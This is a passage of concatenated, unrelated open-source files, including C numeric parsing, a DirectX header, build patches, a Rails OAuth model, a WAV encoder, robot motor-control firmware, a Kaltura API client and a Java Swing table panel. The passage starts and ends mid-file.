*error= 0; if (*s == '+') { if (++s == end) goto no_conv; } cutoff= ULONGLONG_MAX / LFACTOR2; cutoff2= ULONGLONG_MAX % LFACTOR2 / 100; cutoff3= ULONGLONG_MAX % 100; } /* Handle case where we have a lot of pre-zero */ if (*s == '0') { i= 0; do { if (++s == end) goto end_i; /* Return 0 */ } while (*s == '0'); n_end= s+ INIT_CNT; } else { /* Read first digit to check that it's a valid number */ if ((c= (*s-'0')) > 9) goto no_conv; i= c; n_end= ++s+ INIT_CNT-1; } /* Handle first 9 digits and store them in i */ if (n_end > end) n_end= end; for (; s != n_end ; s++) { if ((c= (*s-'0')) > 9) goto end_i; i= i*10+c; } if (s == end) goto end_i; /* Handle next 9 digits and store them in j */ j= 0; start= s; /* Used to know how much to shift i */ n_end= true_end= s + INIT_CNT; if (n_end > end) n_end= end; do { if ((c= (*s-'0')) > 9) goto end_i_and_j; j= j*10+c; } while (++s != n_end); if (s == end) { if (s != true_end) goto end_i_and_j; goto end3; } if ((c= (*s-'0')) > 9) goto end3; /* Handle the next 1 or 2 digits and store them in k */ k=c; if (++s == end || (c= (*s-'0')) > 9) goto end4; k= k*10+c; *endptr= (char*) ++s; /* number string should have ended here */ if (s != end && (c= (*s-'0')) <= 9) goto overflow; /* Check that we didn't get an overflow with the last digit */ if (i > cutoff || (i == cutoff && ((j > cutoff2 || j == cutoff2) && k > cutoff3))) goto overflow; li=i*LFACTOR2+ (ulonglong) j*100 + k; return (longlong) li; overflow: /* *endptr is set here */ *error= MY_ERRNO_ERANGE; return negative ? LONGLONG_MIN : (longlong) ULONGLONG_MAX; end_i: *endptr= (char*) s; return (negative ? ((longlong) -(long) i) : (longlong) i); end_i_and_j: li= (ulonglong) i * lfactor[(uint) (s-start)] + j; *endptr= (char*) s; return (negative ? -((longlong) li) : (longlong) li); end3: li=(ulonglong) i*LFACTOR+ (ulonglong) j; *endptr= (char*) s; return (negative ? -((longlong) li) : (longlong) li); end4: li=(ulonglong) i*LFACTOR1+ (ulonglong) j * 10 + k; *endptr= (char*) s; if (negative) { if (li > MAX_NEGATIVE_NUMBER) goto overflow; return -((longlong) li); } return (longlong) li; no_conv: /* There was no number to convert. */ *error= MY_ERRNO_EDOM; *endptr= (char *) nptr; return 0; }
yangra/SoftUni
Java-DB-Fundamentals/DatabasesFrameworks-Hibernate&SpringData/11.JSONProcessing/car_dealer/src/main/java/softuni/services/api/SupplierService.java
package softuni.services.api; import softuni.dto.JsonImport.SupplierImportJsonDto; import softuni.dto.JsonImport.SupplierDto; import softuni.dto.JsonQuery.Query3.SupplierLocalDto; import java.util.List; public interface SupplierService { void saveSupplierDto(SupplierImportJsonDto supplierImportJsonDto); List<SupplierDto> findAllSupplierDto(); List<SupplierLocalDto> getLocalSuppliers(); }
ssshammi/real-time-3d-rendering-with-directx-and-hlsl
source/Library.Shared/RenderTarget.h
#pragma once #include "RTTI.h" #include <d3d11.h> #include <stack> #include <gsl\gsl> #include <vector> namespace Library { class RenderTarget : public RTTI { RTTI_DECLARATIONS(RenderTarget, RTTI) public: RenderTarget() = default; RenderTarget(const RenderTarget&) = delete; RenderTarget(RenderTarget&&) = default; RenderTarget& operator=(const RenderTarget&) = delete; RenderTarget& operator=(RenderTarget&&) = default; virtual ~RenderTarget() = default; virtual void Begin() = 0; virtual void End() = 0; protected: struct RenderTargetData { uint32_t ViewCount() const { return gsl::narrow_cast<uint32_t>(RenderTargetViews.size()); } std::vector<ID3D11RenderTargetView*> RenderTargetViews; gsl::not_null<ID3D11DepthStencilView*> DepthStencilView; D3D11_VIEWPORT Viewport; RenderTargetData(const gsl::span<ID3D11RenderTargetView*>& renderTargetViews, gsl::not_null<ID3D11DepthStencilView*> depthStencilView, const D3D11_VIEWPORT& viewport) : RenderTargetViews(renderTargetViews.begin(), renderTargetViews.end()), DepthStencilView(depthStencilView), Viewport(viewport) { } }; void Begin(gsl::not_null<ID3D11DeviceContext*> deviceContext, const gsl::span<ID3D11RenderTargetView*>& renderTargetViews, gsl::not_null<ID3D11DepthStencilView*> depthStencilView, const D3D11_VIEWPORT& viewport); void End(gsl::not_null<ID3D11DeviceContext*> deviceContext); void RebindCurrentRenderTargets(gsl::not_null<ID3D11DeviceContext*> deviceContext); private: static std::stack<RenderTargetData> sRenderTargetStack; }; }
HighCWu/tpythonpp
examples/sdl_ode.py
import sdl SW = 800 SH = 240 def test(): w = world() print(w) w.setGravity( vec3(0,-9.81,0) ) b = body( w ) m = mass() m.setSphere( 2500.0, 0.05 ) b.setMass( m ) b.setPosition( vec3(SW/2,20,0) ) b.addTorque( vec3(10,0,0) ) b.setRotation( quat(0.5, 0.5, 0, 0) ) time = 0.0 dt = 0.3 while True: sdl.clear( vec3(0,0,0) ) for e in sdl.poll(): if e["type"] == "KEYDOWN": print("key:", e["key"]) if e["key"] == 80 or e["key"] == 113: ## left key b.addForce( vec3(-50,0,0) ) elif e["key"] == 79 or e["key"] == 114: ## right key b.addForce( vec3(50,0,0) ) w.step(dt) v = b.getPosition() if v[1] < -200: b.addForce( vec3(0,200,0) ) x = v[0] y = v[1] sdl.draw( vec4(x,-int(y), 10,10), vec3(255,0,0) ) sdl.draw( vec4(0,220, SW,10), vec3(5,200,0) ) sdl.flip() time += dt sdl.delay(30) def main(): sdl.initialize() sdl.window( vec2(SW,SH) ) test() main()
jrmarino/ravensource
bucket_78/ghostscript/patches/patch-leptonica_src_environ.h
--- leptonica/src/environ.h.orig 2021-09-27 07:44:02 UTC +++ leptonica/src/environ.h @@ -172,7 +172,7 @@ typedef uintptr_t l_uintptr_t; * To use them on MacOS, which does not support these functions, set it to 0. *-------------------------------------------------------------------------*/ #if !defined(HAVE_CONFIG_H) && !defined(ANDROID_BUILD) && !defined(OS_IOS) && \ - !defined(_WIN32) + !defined(_WIN32) && !defined(__sun) #define HAVE_FMEMOPEN 1 #endif /* ! HAVE_CONFIG_H etc. */
muescha/website
app/models/authorization.rb
<gh_stars>10-100 class Authorization < ActiveRecord::Base #Authorization belongs to a user belongs_to :user validates_uniqueness_of :uid, :scope => :provider def self.create_authorization(auth, user = nil) auth_data = Authorization.extract_auth_data(auth) nick_data = Authorization.extract_nick_data(auth) a = Authorization.new(auth_data) if user.nil? a.temp_token = SecureRandom.hex(40) else a.user_id = user.id user.set_external_nickname(nick_data) end a.save return a end def self.extract_auth_data(auth) auth_data = { provider: auth.provider, uid: auth.uid, token: auth.credentials.token, secret: auth.credentials.secret } auth_data[:token_expires] = Time.at(auth.credentials.expires_at) if auth.credentials.expires_at auth_data end def self.extract_nick_data(auth) { auth.provider.to_sym => auth.info.nickname } end end
bitigchi/MuditaOS
module-audio/Audio/encoder/EncoderWAV.cpp
// Copyright (c) 2017-2021, Mudit<NAME>.o. All rights reserved. // For licensing, see https://github.com/mudita/MuditaOS/LICENSE.md #include "EncoderWAV.hpp" #include <log/log.hpp> namespace audio { EncoderWAV::EncoderWAV(const char *fileName, const Encoder::Format &frmt) : Encoder(fileName, frmt) { WAVE_FormatTypeDef WaveFormat = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; /* Initialize the encoder structure */ WaveFormat.SampleRate = format.sampleRate; /* Audio sampling frequency */ WaveFormat.NbrChannels = format.chanNr; /* Number of channels: 1:Mono or 2:Stereo */ WaveFormat.BitPerSample = 16; /* Number of bits per sample (16, 24 or 32) */ WaveFormat.FileSize = 0x001D4C00; /* Total length of useful audio data (payload) */ WaveFormat.SubChunk1Size = 44; /* The file header chunk size */ WaveFormat.ByteRate = (WaveFormat.SampleRate * (WaveFormat.BitPerSample / 8) * WaveFormat.NbrChannels); /* Number of bytes per second (sample rate * block align) */ WaveFormat.BlockAlign = WaveFormat.NbrChannels * (WaveFormat.BitPerSample / 8); /* channels * bits/sample / 8 */ HeaderInit(WaveFormat); } EncoderWAV::~EncoderWAV() { std::rewind(fd); /* Update the wav file header save it into wav file */ HeaderUpdate(); if (std::fwrite(pHeaderBuff, 1, sizeof(WAVE_FormatTypeDef), fd) != sizeof(WAVE_FormatTypeDef)) { LOG_ERROR("Updating WAV header failed"); } } uint32_t EncoderWAV::Encode(uint32_t samplesToWrite, int16_t *pcmData) { /* * Write int16_t PCM samples to file. */ auto byteswritten = std::fwrite(pcmData, sizeof(int16_t), samplesToWrite, fd); if (byteswritten != samplesToWrite) { return 0; } /* Calculate frame duration in seconds */ position += (float)((float)(samplesToWrite / format.chanNr) / (float)(format.sampleRate)); return byteswritten; } void EncoderWAV::HeaderInit(const EncoderWAV::WAVE_FormatTypeDef &pWaveFormatStruct) { /* Write chunkID, must be 'RIFF' ------------------------------------------*/ pHeaderBuff[0] = 'R'; pHeaderBuff[1] = 'I'; pHeaderBuff[2] = 'F'; pHeaderBuff[3] = 'F'; /* Write the file length ---------------------------------------------------*/ /* The sampling time: this value will be written back at the end of the recording operation. Example: 661500 Btyes = 0x000A17FC, byte[7]=0x00, byte[4]=0xFC */ pHeaderBuff[4] = 0x00; pHeaderBuff[5] = 0x4C; pHeaderBuff[6] = 0x1D; pHeaderBuff[7] = 0x00; /* Write the file format, must be 'WAVE' -----------------------------------*/ pHeaderBuff[8] = 'W'; pHeaderBuff[9] = 'A'; pHeaderBuff[10] = 'V'; pHeaderBuff[11] = 'E'; /* Write the format chunk, must be'fmt ' -----------------------------------*/ pHeaderBuff[12] = 'f'; pHeaderBuff[13] = 'm'; pHeaderBuff[14] = 't'; pHeaderBuff[15] = ' '; /* Write the length of the 'fmt' data, must be 0x10 ------------------------*/ pHeaderBuff[16] = 0x10; pHeaderBuff[17] = 0x00; pHeaderBuff[18] = 0x00; pHeaderBuff[19] = 0x00; /* Write the audio format, must be 0x01 (PCM) ------------------------------*/ pHeaderBuff[20] = 0x01; pHeaderBuff[21] = 0x00; /* Write the number of channels, ie. 0x01 (Mono) ---------------------------*/ pHeaderBuff[22] = pWaveFormatStruct.NbrChannels; pHeaderBuff[23] = 0x00; /* Write the Sample Rate in Hz ---------------------------------------------*/ /* Write Little Endian ie. 8000 = 0x00001F40 => byte[24]=0x40, byte[27]=0x00*/ pHeaderBuff[24] = (uint8_t)((pWaveFormatStruct.SampleRate & 0xFF)); pHeaderBuff[25] = (uint8_t)((pWaveFormatStruct.SampleRate >> 8) & 0xFF); pHeaderBuff[26] = (uint8_t)((pWaveFormatStruct.SampleRate >> 16) & 0xFF); pHeaderBuff[27] = (uint8_t)((pWaveFormatStruct.SampleRate >> 24) & 0xFF); /* Write the Byte Rate -----------------------------------------------------*/ pHeaderBuff[28] = (uint8_t)((pWaveFormatStruct.ByteRate & 0xFF)); pHeaderBuff[29] = (uint8_t)((pWaveFormatStruct.ByteRate >> 8) & 0xFF); pHeaderBuff[30] = (uint8_t)((pWaveFormatStruct.ByteRate >> 16) & 0xFF); pHeaderBuff[31] = (uint8_t)((pWaveFormatStruct.ByteRate >> 24) & 0xFF); /* Write the block alignment -----------------------------------------------*/ pHeaderBuff[32] = pWaveFormatStruct.BlockAlign; pHeaderBuff[33] = 0x00; /* Write the number of bits per sample -------------------------------------*/ pHeaderBuff[34] = pWaveFormatStruct.BitPerSample; pHeaderBuff[35] = 0x00; /* Write the Data chunk, must be 'data' ------------------------------------*/ pHeaderBuff[36] = 'd'; pHeaderBuff[37] = 'a'; pHeaderBuff[38] = 't'; pHeaderBuff[39] = 'a'; /* Write the number of sample data -----------------------------------------*/ /* This variable will be written back at the end of the recording operation */ pHeaderBuff[40] = 0x00; pHeaderBuff[41] = 0x4C; pHeaderBuff[42] = 0x1D; pHeaderBuff[43] = 0x00; } void EncoderWAV::HeaderUpdate() { /* Write the file length ---------------------------------------------------*/ /* The sampling time: this value will be written back at the end of the recording operation. Example: 661500 Btyes = 0x000A17FC, byte[7]=0x00, byte[4]=0xFC */ pHeaderBuff[4] = (uint8_t)(fileSize); pHeaderBuff[5] = (uint8_t)(fileSize >> 8); pHeaderBuff[6] = (uint8_t)(fileSize >> 16); pHeaderBuff[7] = (uint8_t)(fileSize >> 24); /* Write the number of sample data -----------------------------------------*/ /* This variable will be written back at the end of the recording operation */ fileSize -= 44; pHeaderBuff[40] = (uint8_t)(fileSize); pHeaderBuff[41] = (uint8_t)(fileSize >> 8); pHeaderBuff[42] = (uint8_t)(fileSize >> 16); pHeaderBuff[43] = (uint8_t)(fileSize >> 24); } } // namespace audio
JNeiger/robocup-firmware
firmware/robot2015/src-ctrl/modules/ControllerTaskThread.cpp
#include <RPCVariable.h> #include <rtos.h> #include <Console.hpp> #include <assert.hpp> #include <logger.hpp> #include "PidMotionController.hpp" #include "RtosTimerHelper.hpp" #include "fpga.hpp" #include "io-expander.hpp" #include "motors.hpp" #include "mpu-6050.hpp" #include "robot-devices.hpp" #include "task-signals.hpp" using namespace std; // Keep this pretty high for now. Ideally, drop it down to ~3 for production // builds. Hopefully that'll be possible without the console static const int CONTROL_LOOP_WAIT_MS = 5; // initialize PID controller PidMotionController pidController; /** If this amount of time (in ms) elapses without * Task_Controller_UpdateTarget() being called, the target velocity is reset to * zero. This is a safety feature to prevent robots from doing unwanted things * when they lose radio communication. */ static const uint32_t COMMAND_TIMEOUT_INTERVAL = 250; unique_ptr<RtosTimerHelper> commandTimeoutTimer = nullptr; bool commandTimedOut = true; void Task_Controller_UpdateTarget(Eigen::Vector3f targetVel) { pidController.setTargetVel(targetVel); // reset timeout commandTimedOut = false; if (commandTimeoutTimer) commandTimeoutTimer->start(COMMAND_TIMEOUT_INTERVAL); } uint8_t dribblerSpeed = 0; void Task_Controller_UpdateDribbler(uint8_t dribbler) { dribblerSpeed = dribbler; } /** * initializes the motion controller thread */ void Task_Controller(void const* args) { const osThreadId mainID = (const osThreadId)args; // Store the thread's ID osThreadId threadID = Thread::gettid(); ASSERT(threadID != nullptr); // Store our priority so we know what to reset it to after running a command osPriority threadPriority = osThreadGetPriority(threadID); MPU6050 imu(RJ_I2C_SDA, RJ_I2C_SCL); imu.setBW(MPU6050_BW_256); imu.setGyroRange(MPU6050_GYRO_RANGE_250); imu.setAcceleroRange(MPU6050_ACCELERO_RANGE_2G); imu.setSleepMode(false); char testResp; if ((testResp = imu.testConnection())) { float resultRatio[6]; imu.selfTest(resultRatio); LOG(INIT, "IMU self test results:\r\n" " Accel (X,Y,Z):\t(%2.2f%%, %2.2f%%, %2.2f%%)\r\n" " Gyro (X,Y,Z):\t(%2.2f%%, %2.2f%%, %2.2f%%)", resultRatio[0], resultRatio[1], resultRatio[2], resultRatio[3], resultRatio[4], resultRatio[5]); LOG(INIT, "Control loop ready!\r\n Thread ID: %u, Priority: %d", ((P_TCB)threadID)->task_id, threadPriority); } else { LOG(SEVERE, "MPU6050 not found!\t(response: 0x%02X)\r\n Falling back to " "sensorless control loop.", testResp); } // signal back to main and wait until we're signaled to continue osSignalSet(mainID, MAIN_TASK_CONTINUE); Thread::signal_wait(SUB_TASK_CONTINUE, osWaitForever); array<int16_t, 5> duty_cycles{}; // pidController.setPidValues(1.5, 0.05, 0); // TODO: tune pid values pidController.setPidValues(0.8, 0.05, 0); // initialize timeout timer commandTimeoutTimer = make_unique<RtosTimerHelper>( [&]() { commandTimedOut = true; }, osTimerPeriodic); while (true) { // imu.getGyro(gyroVals); // imu.getAccelero(accelVals); // note: the 4th value is not an encoder value. See the large comment // below for an explanation. array<int16_t, 5> enc_deltas{}; // zero out command if we haven't gotten an updated target in a while if (commandTimedOut) duty_cycles = {0, 0, 0, 0, 0}; FPGA::Instance->set_duty_get_enc(duty_cycles.data(), duty_cycles.size(), enc_deltas.data(), enc_deltas.size()); /* * The time since the last update is derived with the value of * WATCHDOG_TIMER_CLK_WIDTH in robocup.v * * The last encoder reading (5th one) from the FPGA is the watchdog * timer's tick since the last SPI transfer. * * Multiply the received tick count by: * (1/18.432) * 2 * (2^WATCHDOG_TIMER_CLK_WIDTH) * * This will give you the duration since the last SPI transfer in * microseconds (us). * * For example, if WATCHDOG_TIMER_CLK_WIDTH = 6, here's how you would * convert into time assuming the fpga returned a reading of 1265 ticks: * time_in_us = [ 1265 * (1/18.432) * 2 * (2^6) ] = 8784.7us * * The precision would be in increments of the multiplier. For * this example, that is: * time_precision = 6.94us * */ const float dt = enc_deltas.back() * (1 / 18.432e6) * 2 * 64; // take first 4 encoder deltas array<int16_t, 4> driveMotorEnc; for (int i = 0; i < 4; i++) driveMotorEnc[i] = enc_deltas[i]; // run PID controller to determine what duty cycles to use to drive the // motors. array<int16_t, 4> driveMotorDutyCycles = pidController.run(driveMotorEnc, dt); for (int i = 0; i < 4; i++) duty_cycles[i] = driveMotorDutyCycles[i]; // limit duty cycle values, while keeping sign (+ or -) for (int16_t& dc : duty_cycles) { if (std::abs(dc) > FPGA::MAX_DUTY_CYCLE) { dc = copysign(FPGA::MAX_DUTY_CYCLE, dc); } } // dribbler duty cycle duty_cycles[4] = dribblerSpeed; #if 0 // log duty cycle values printf("duty cycles: "); for (int i = 0; i < 4; i++) { printf("%d, ", duty_cycles[i]); } printf("\r\n"); #endif Thread::wait(CONTROL_LOOP_WAIT_MS); } }
fahadnasrullah109/KalturaClient-Android
KalturaClient/src/main/java/com/kaltura/client/services/BulkService.java
<gh_stars>0 // =================================================================================================== // _ __ _ _ // | |/ /__ _| | |_ _ _ _ _ __ _ // | ' </ _` | | _| || | '_/ _` | // |_|\_\__,_|_|\__|\_,_|_| \__,_| // // This file is part of the Kaltura Collaborative Media Suite which allows users // to do with audio, video, and animation what Wiki platfroms allow them to do with // text. // // Copyright (C) 2006-2018 Kaltura Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // // @ignore // =================================================================================================== package com.kaltura.client.services; import com.kaltura.client.types.BulkUpload; import com.kaltura.client.types.BulkUploadFilter; import com.kaltura.client.types.FilterPager; import com.kaltura.client.utils.request.ListResponseRequestBuilder; import com.kaltura.client.utils.request.RequestBuilder; import com.kaltura.client.utils.request.ServeRequestBuilder; /** * This class was generated using exec.php * against an XML schema provided by Kaltura. * * MANUAL CHANGES TO THIS CLASS WILL BE OVERWRITTEN. */ /** * Bulk upload service is used to upload &amp; manage bulk uploads * * @param id job id * @param id * @param bulkUploadFilter * @param pager * @param id job id * @param id job id */ public class BulkService { public static class AbortBulkBuilder extends RequestBuilder<BulkUpload, BulkUpload.Tokenizer, AbortBulkBuilder> { public AbortBulkBuilder(int id) { super(BulkUpload.class, "bulkupload_bulk", "abort"); params.add("id", id); } public void id(String multirequestToken) { params.add("id", multirequestToken); } } /** * Aborts the bulk upload and all its child jobs * * @param id job id */ public static AbortBulkBuilder abort(int id) { return new AbortBulkBuilder(id); } public static class GetBulkBuilder extends RequestBuilder<BulkUpload, BulkUpload.Tokenizer, GetBulkBuilder> { public GetBulkBuilder(int id) { super(BulkUpload.class, "bulkupload_bulk", "get"); params.add("id", id); } public void id(String multirequestToken) { params.add("id", multirequestToken); } } /** * Get bulk upload batch job by id * * @param id */ public static GetBulkBuilder get(int id) { return new GetBulkBuilder(id); } public static class ListBulkBuilder extends ListResponseRequestBuilder<BulkUpload, BulkUpload.Tokenizer, ListBulkBuilder> { public ListBulkBuilder(BulkUploadFilter bulkUploadFilter, FilterPager pager) { super(BulkUpload.class, "bulkupload_bulk", "list"); params.add("bulkUploadFilter", bulkUploadFilter); params.add("pager", pager); } } public static ListBulkBuilder list() { return list(null); } public static ListBulkBuilder list(BulkUploadFilter bulkUploadFilter) { return list(bulkUploadFilter, null); } /** * List bulk upload batch jobs * * @param bulkUploadFilter * @param pager */ public static ListBulkBuilder list(BulkUploadFilter bulkUploadFilter, FilterPager pager) { return new ListBulkBuilder(bulkUploadFilter, pager); } public static class ServeBulkBuilder extends ServeRequestBuilder { public ServeBulkBuilder(int id) { super("bulkupload_bulk", "serve"); params.add("id", id); } public void id(String multirequestToken) { params.add("id", multirequestToken); } } /** * serve action returns the original file. * * @param id job id */ public static ServeBulkBuilder serve(int id) { return new ServeBulkBuilder(id); } public static class ServeLogBulkBuilder extends ServeRequestBuilder { public ServeLogBulkBuilder(int id) { super("bulkupload_bulk", "serveLog"); params.add("id", id); } public void id(String multirequestToken) { params.add("id", multirequestToken); } } /** * serveLog action returns the log file for the bulk-upload job. * * @param id job id */ public static ServeLogBulkBuilder serveLog(int id) { return new ServeLogBulkBuilder(id); } }
danielfojt/DeltaPorts
ports/www/chromium-legacy/newport/files/patch-components_gcm__driver_gcm__client.h
<filename>ports/www/chromium-legacy/newport/files/patch-components_gcm__driver_gcm__client.h --- components/gcm_driver/gcm_client.h.orig 2019-10-21 19:06:29 UTC +++ components/gcm_driver/gcm_client.h @@ -86,6 +86,7 @@ class GCMClient { PLATFORM_CROS, PLATFORM_IOS, PLATFORM_ANDROID, + PLATFORM_BSD, PLATFORM_UNSPECIFIED };
ROTARTSI82/Hephaestus
docs/search/variables_6.js
<gh_stars>0 var searchData= [ ['line_263',['line',['../df/d37/structhp_1_1code__location.html#a56988fba3ef3886bbf7b85593172567f',1,'hp::code_location']]], ['logging_5fenabled_264',['logging_enabled',['../d6/d7a/namespacehp.html#a2800114c14296c79f91dc7b7eb06cc11',1,'hp']]] ];
vlehtola/questmud
lib/wizards/torspo/areat/gnomes/hills12.c
<filename>lib/wizards/torspo/areat/gnomes/hills12.c inherit "room/room"; reset(arg) { if(!present("farmer")) { move_object(clone_object("/wizards/torspo/areat/gnomes/monsters/farmer1"), this_object()); } if(!present("pony")) { move_object(clone_object("/wizards/torspo/areat/gnomes/monsters/pony1"), this_object()); } if(arg) { return; } add_exit("west", "/wizards/torspo/areat/gnomes/hills11.c"); add_exit("south", "/wizards/torspo/areat/gnomes/hills05.c"); short_desc = "Grassy hills"; long_desc = "High rocky hills block the way to the south. The gnomes seem to do something\n"+ "for it though. Lots of broken picks and shovels lie on the ground and a huge\n"+ "part of the hill has disappeared somewhere. Northern areas are nothing but\n"+ "some wide cornfields.\n"; items = allocate(8); items[0] = "pick"; items[1] = "Some broken tools lie on the ground. The icy rock must be hard to break"; items[2] = "picks"; items[3] = "Some broken tools lie on the ground. The icy rock must be hard to break"; items[4] = "shovel"; items[5] = "Some broken tools lie on the ground. The icy rock must be hard to break"; items[6] = "shovels"; items[7] = "Some broken tools lie on the ground. The icy rock must be hard to break"; }
dvorka/mindraider
mr7/src/main/java/com/emental/mindraider/ui/outline/OutlineSorterJPanel.java
<filename>mr7/src/main/java/com/emental/mindraider/ui/outline/OutlineSorterJPanel.java<gh_stars>1-10 /* =========================================================================== Copyright 2002-2010 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =========================================================================== */ package com.emental.mindraider.ui.outline; import java.awt.BorderLayout; import java.awt.event.MouseEvent; import java.net.URI; import java.util.Comparator; import java.util.HashMap; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTable; import javax.swing.ListSelectionModel; import javax.swing.event.ListSelectionEvent; import javax.swing.event.ListSelectionListener; import javax.swing.table.AbstractTableModel; import javax.swing.table.JTableHeader; import javax.swing.table.TableModel; import javax.swing.table.TableRowSorter; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import com.emental.mindraider.core.MindRaider; import com.emental.mindraider.core.rest.ResourceDescriptor; import com.emental.mindraider.core.rest.properties.CategoryProperty; import com.emental.mindraider.core.rest.resource.ConceptResource; import com.emental.mindraider.ui.outline.treetable.OutlineTreeInstance; import com.hp.hpl.jena.rdf.model.Model; import com.hp.hpl.jena.rdf.model.Resource; public class OutlineSorterJPanel extends JPanel { private SorterTableModel tableModel; private JTable table; public static final int COLUMN_URI= -1; public static final int COLUMN_NAME = 0; public static final int COLUMN_ANNOTATION = 1; public static final int COLUMN_CATEGORY= 2; public static final int COLUMN_REVISION = 3; public static final int COLUMN_MODIFIED = 4; public static final int COLUMN_CREATED= 5; public OutlineSorterJPanel() { setLayout(new BorderLayout()); // table with archived concepts (title) // let table model to load discarded concepts itself tableModel = new SorterTableModel(); table = new JTable(tableModel); table.getSelectionModel().addListSelectionListener(new SorterListSelectionListener(table,tableModel)); table.getSelectionModel().setSelectionMode(ListSelectionModel.SINGLE_SELECTION); table.setFillsViewportHeight(true); table.setShowHorizontalLines(false); table.setShowVerticalLines(false); table.getColumnModel().getColumn(COLUMN_NAME).setPreferredWidth(150); table.getColumnModel().getColumn(COLUMN_ANNOTATION).setPreferredWidth(220); table.getColumnModel().getColumn(COLUMN_CREATED).setPreferredWidth(60); table.getColumnModel().getColumn(COLUMN_MODIFIED).setPreferredWidth(60); table.getColumnModel().getColumn(COLUMN_REVISION).setPreferredWidth(35); TableRowSorter<TableModel> sorter = new TableRowSorter<TableModel>(table.getModel()); table.setRowSorter(sorter); sorter.setComparator(COLUMN_REVISION, new Comparator<Long>() { @Override public int compare(Long o1, Long o2) { return o2.intValue()-o1.intValue(); } }); final Comparator<String> timestampComparator = new Comparator<String>() { @Override public int compare(String o1, String o2) { if(OutlineTreeInstance.getCreatedTimestampFromHtml(o2)>OutlineTreeInstance.getCreatedTimestampFromHtml(o1)) { return 1; } else { if(OutlineTreeInstance.getCreatedTimestampFromHtml(o2)==OutlineTreeInstance.getCreatedTimestampFromHtml(o1)) { return 0; } else { return -1; } } } }; sorter.setComparator(COLUMN_MODIFIED, timestampComparator); sorter.setComparator(COLUMN_CREATED, timestampComparator); JScrollPane scroll = new JScrollPane(table); scroll.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED); scroll.setHorizontalScrollBarPolicy(JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); add(scroll,BorderLayout.CENTER); } public void refresh() { // outline custodian - get discarded models if(MindRaider.profile!=null) { final URI activeOutlineUri = MindRaider.profile.getActiveOutlineUri(); if(tableModel!=null) { if(activeOutlineUri!=null) { tableModel.refresh(activeOutlineUri.toString()); } else { tableModel.clear(); } } } ((AbstractTableModel)table.getModel()).fireTableDataChanged(); table.updateUI(); } private static final long serialVersionUID = 5958552481049265993L; } class SorterTableModel extends AbstractTableModel { private static final Log logger = LogFactory.getLog(SorterTableModel.class); // {{debug}} private String[] columnNames = {"Title","Annotation","Category","Revision","Modified","Created"}; public ResourceDescriptor[] activeConcepts=null; public HashMap<String, ResourceDescriptor> activeConceptsByUri=new HashMap<String, ResourceDescriptor>(); public SorterTableModel() { } public void clear() { activeConcepts=null; } public int refresh(String outlineUri) { Model rdfModel = MindRaider.outlineCustodian.getActiveOutlineResource().rdfModel.getModel(); activeConcepts=MindRaider.outlineCustodian.getNonDiscardedConceptDescriptors(); if(activeConcepts!=null) { for (int i = 0; i < activeConcepts.length; i++) { Resource rdfResource = rdfModel.getResource(activeConcepts[i].getUri()); activeConcepts[i] = MindRaider.outlineCustodian.getRdfResourceDescriptor(rdfResource); // load the concept XML and complete the descriptor with the details try { ConceptResource conceptResource = MindRaider.noteCustodian.get(outlineUri, activeConcepts[i].getUri()); activeConcepts[i].setRevision(conceptResource.resource.getMetadata().getRevision()); activeConcepts[i].setModified(conceptResource.resource.getMetadata().getTimestamp()); CategoryProperty[] categories = conceptResource.getCategories(); if(categories!=null && categories.length>0) { activeConcepts[i].setCategory(categories[0].categoryCaption); } else { activeConcepts[i].setCategory(""); } } catch (Exception e) { logger.error("Unable to load concept XML: "+e); // {{debug}} activeConcepts[i].setRevision(1); activeConcepts[i].setModified(System.currentTimeMillis()); activeConcepts[i].setCategory(""); } activeConceptsByUri.put(activeConcepts[i].getUri(), activeConcepts[i]); } } return getRowCount(); } protected JTableHeader createDefaultTableHeader() { return new JTableHeader() { public String getToolTipText(MouseEvent e) { java.awt.Point p = e.getPoint(); int index = columnModel.getColumnIndexAtX(p.x); int realIndex = columnModel.getColumn(index).getModelIndex(); return columnNames[realIndex]; } private static final long serialVersionUID = -3219707005673982727L; }; } public int getColumnCount() { return columnNames.length; } public int getRowCount() { return (activeConcepts==null?0:activeConcepts.length); } public String getColumnName(int col) { return columnNames[col]; } public Object getValueAt(int row, int col) { if(activeConcepts==null || activeConcepts.length<=row) { return null; } else { switch (col) { case OutlineSorterJPanel.COLUMN_URI: return activeConcepts[row].getUri(); case OutlineSorterJPanel.COLUMN_NAME: return activeConcepts[row].getLabel(); case OutlineSorterJPanel.COLUMN_ANNOTATION: return OutlineTreeInstance.getAnnotationToRender(activeConcepts[row].getAnnotationCite(), null); case OutlineSorterJPanel.COLUMN_MODIFIED: return OutlineTreeInstance.getCreatedToRender(activeConcepts[row].getModified()); case OutlineSorterJPanel.COLUMN_CREATED: return OutlineTreeInstance.getCreatedToRender(activeConcepts[row].getCreated()); case OutlineSorterJPanel.COLUMN_REVISION: return new Long(activeConcepts[row].getRevision()); case OutlineSorterJPanel.COLUMN_CATEGORY: return ""+activeConcepts[row].getCategory(); default: return ""; } } } @Override public boolean isCellEditable(int arg0, int arg1) { return false; } private static final long serialVersionUID = 1L; } class SorterListSelectionListener implements ListSelectionListener { private JTable table; private SorterTableModel outlineSorterJPanel; public SorterListSelectionListener(JTable table, SorterTableModel tableModel) { this.table=table; this.outlineSorterJPanel=tableModel; } @Override public void valueChanged(ListSelectionEvent event) { if (event.getValueIsAdjusting()) { int selectedRow = table.getSelectedRow(); if(selectedRow>=0) { // map the row to the model (column sorters may change it) 